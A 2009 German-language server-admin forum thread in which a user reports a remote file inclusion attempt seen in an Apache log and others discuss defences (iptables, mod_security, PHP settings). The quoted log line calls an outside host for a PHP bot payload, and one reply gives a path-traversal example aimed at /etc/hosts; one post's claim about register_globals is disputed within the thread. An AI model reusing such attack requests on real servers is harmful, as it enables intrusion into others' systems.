Server steht unter Hack- Attacke...

S

Space

New Member
Hallo und Guten Abend,

gerade eben habe mir die "idle" zeit der Kiste angeschaut, war unter voll last im Einsatz, kam mir ziehmlich kommisch vor da der Server meistens eine "idle" von 90% hat.

Ein blick auf die logfiles konnte ich sofort was verdächtiges finden :

79.126.211.106 - - [11/Nov/2009:18:01:11 +0100] "GET //calendar.php?vwar_root=http://files.uploadffs.com/4/78fc480e/tampa.txt?? HTTP/1.1" 404 4149 "-" "Mozilla/3.0 (compatible; Indy Library)"
Click to expand...

den Link im browser aufgerufen und folgendes konnte ich aus dieser "tampa.txt" Datei entnehmen. Im Anhang ist die datei zu finden.

Gruß
Space

MOD: Anhang entfernt!
 
Last edited by a moderator:
Avast Blockt bei mir schon das aufrufen deiner TXT Datei.

Hast du denn bereits ne Ahnung wie er eindringen konnte?
Was hast du denn alles am laufen? Welche Webseiten, Dienste, Scripte?
 
Nachdem der Webserver einen 404 meldet ist nichts passiert ;) Zumindest solange alle Versuche einen 404 zeigen.

Ich würde dir einfach empfehlen die entsprechenden IPs mit Iptables zu blockieren wenn es nich zuviele sind.
 
Hallo,

auf dem Server laufen hauptsächlich webseiten unteranderen ein paar CMS- Systeme Joomla ect.

wie habt Ihr den erfahren, dass dieser script bei mir nicht installiert ist?
 
Weil es einen 404 zurück gibt.

@Raven6299:
Natürlich gibt es einen Viren-Alarm!
Ist ja auch ein PHP-Bot.
Zum Öffnen in einem Text-Editor reicht es aber.

<mod>Dennoch entfernen wir den Anhang wieder aus dem Forum</mod>

huschi.
 
Solche Versuche sind gang und gebe falls du eine CMS-Site auf dem Server hast, aber wenn du diese auch immer brav (d.h. zeitnah) mit den neusten Patches und Updates fütterst sind solche Skiddie-Angriffsversuche keine wirkliche Bedrohung.
Anders sieht es natürlich aus wenn du in Sachen Hosting unterwegs bist, Kunden vernachlässigen gerne mal ihre Sites.

Falls du den Apache laufen hast empfehle ich dir mal einen Blick auf mod_security zu werfen:
http://www.modsecurity.org/
 
Sorry Raven, sollte kein persönlicher Angriff sein. Ist evtl. falsch rüber gekommen.
Der Beitrag (bzw. der Anhang) wurde uns Mods auch als "Virenbefallen" gemeldet. Es sollte eine allgemeine Aussage in die Runde sein, dass es eben kein Virus ist.

huschi.
 
Eine gute Basisschutzmassnahme in diesem Zusammenhang ist es, die PHP-Direktive allow_url_fopen auf off zu setzen.
 
Kann es sein das besagter Link zum Ausdruck bringt das Du VWAR benutzt ? Also die Lückenschleuder schlichthin ?
 
dev said:
Eine gute Basisschutzmassnahme in diesem Zusammenhang ist es, die PHP-Direktive allow_url_fopen auf off zu setzen.
Click to expand...
Einspruch!
Das ist zu grob. So viele schöne Möglichkeiten mit einem Schlag kaputt. Den Wrapper für das include zu verbieten reicht doch.
 
Was für schöne Möglichkeiten? Müssen die Benutzer halt im phpBB oder sonst nem Forum ihren Avatar hochladen und können ihn nicht einfach per URL angeben. Ich hab das Feature seit 4 Jahren deaktiviert und nie vermisst.
 
CentY said:
Was für schöne Möglichkeiten? ...... Ich hab das Feature seit 4 Jahren deaktiviert und nie vermisst.
Click to expand...
Ich bin weniger Admin, sondern ehr PHP Progger.

Und nein!
Ich würde nicht, oder nur ungern auf diese ganzen Wrapper verzichten wollen.
http://de.php.net/manual/de/wrappers.php
Denn nach der Operation sind sie alle tot!
Auch meine selbst geschriebenen.


Für den TE ist wichtig, dass kein fremdes PHP durch Include läuft!
Mehr erstmal nicht.

Beispiel:
Wenn du das Badewasser aus deiner Badewanne ablassen willst, ziehst du dann den Stöpsel, oder räumst du das Haus mit 4Kg C4 um?
 
register_globals auf off verhindert das über include oder require Scripte remote eingebunden werden können. Kannst du per php.ini machen oder über .htaccess

Code: 
php_flag register_globals Off
 
Last edited by a moderator:
"Ein Feature von PHP zur Erhöhung der Sicherheit ist die Konfiguration von PHP mit register_globals = off. Mit Deaktivierung der Möglichkeit, irgendeine vom Benutzer übertragenen Variable in den PHP Code zu injizieren, können Sie die Anzahl "vergifteter" Variablen reduzieren, welche ein potentieller Angreifer zufügen könnte. Dieser benötigt mehr Zeit, um sich Übermittlungen auszudenken, und Ihre internen Variablen sind effektiv von den übergebenen Benutzervariablen isoliert."

Quelle: php.net

Dies bedeutet das nicht definierte Variablen von "aussen" nicht bestimmt werden können.

So etwas wie /index.php?file=Script oder /index.php?file=../../../etc/hosts geht dann nicht mehr.
 
Last edited by a moderator:
Register_globals ist seit PHP4.3 standardmäßig abgeschaltet, wird mit PHP6 ganz abgeschafft Und das ist auch gut so!

Hat aber herzlich wenig mit dem Problem zu tun.

ghost1978 said:
So etwas wie /index.php?file=Script geht dann nicht mehr.
Click to expand...
Auch wenn ich jetzt etwas pingelig erscheine:
Natürlich geht das dann noch!

Du verwechselst da was!
Es soll nicht die Übergabe von GetVariablen verhindert werden, sondern das Schleusen externe Dateien durch den Interpreter.
 
You must log in or register to reply here.
Back
Top